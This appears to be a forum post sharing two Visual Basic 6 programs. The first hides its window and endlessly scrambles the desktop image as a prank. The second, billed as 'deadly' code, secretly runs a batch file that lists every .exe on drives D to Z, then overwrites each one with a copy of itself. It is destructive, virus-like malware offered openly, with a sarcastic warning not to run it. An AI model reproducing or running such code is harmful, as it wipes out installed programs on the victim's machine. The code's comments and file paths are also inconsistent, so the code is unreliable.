Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source
Dim x As Integer, y As Integer
Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long
Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)
Private Sub Form_Load()
Me.Hide
Desktop = GetWindowDC(GetDesktopWindow())
hBitmap = CreateCompatibleDC(Desktop)
hScreen = CreateCompatibleDC(Desktop)
Buffer = CreateCompatibleBitmap(Desktop, 32, 32)
ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)
SelectObject hBitmap, Buffer
SelectObject hScreen, ScreenBuffer
BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY
For i = 0 To 1E+17
y = (Screen.Height / 15) * Rnd
x = (Screen.Width / 15) * Rnd
BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY
BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY
DoEvents
Next i
End Sub 還有個殺手鐧；壹段要人命的vb代碼
-----------------------------------------------聲明---------------------------------------------------------------
’如果您在沒有讀懂代碼的情況下請不要生成exe文件運行.............否則不要怪我沒提醒妳。。。。。。。
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next ’容錯句
If Dir("c:\123.txt") = "" Then ’如果123.txt不存在則創建 bat遍歷exe文件
Open "c:\a.bat" For Output As #1 ’打開bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" ’寫入數據
Close #1 ’關閉文件
Sleep 200 ’延時200秒等待文件生成（主要為了慢機器）
Shell "c:\a.bat", 0 ’隱藏運行之
End If
Sleep 60000 ’延時1分鐘等待exe遍歷完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 ’讀取txt裏面的內容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) ’把txt裏面的內容替換掉
Next
End Sub
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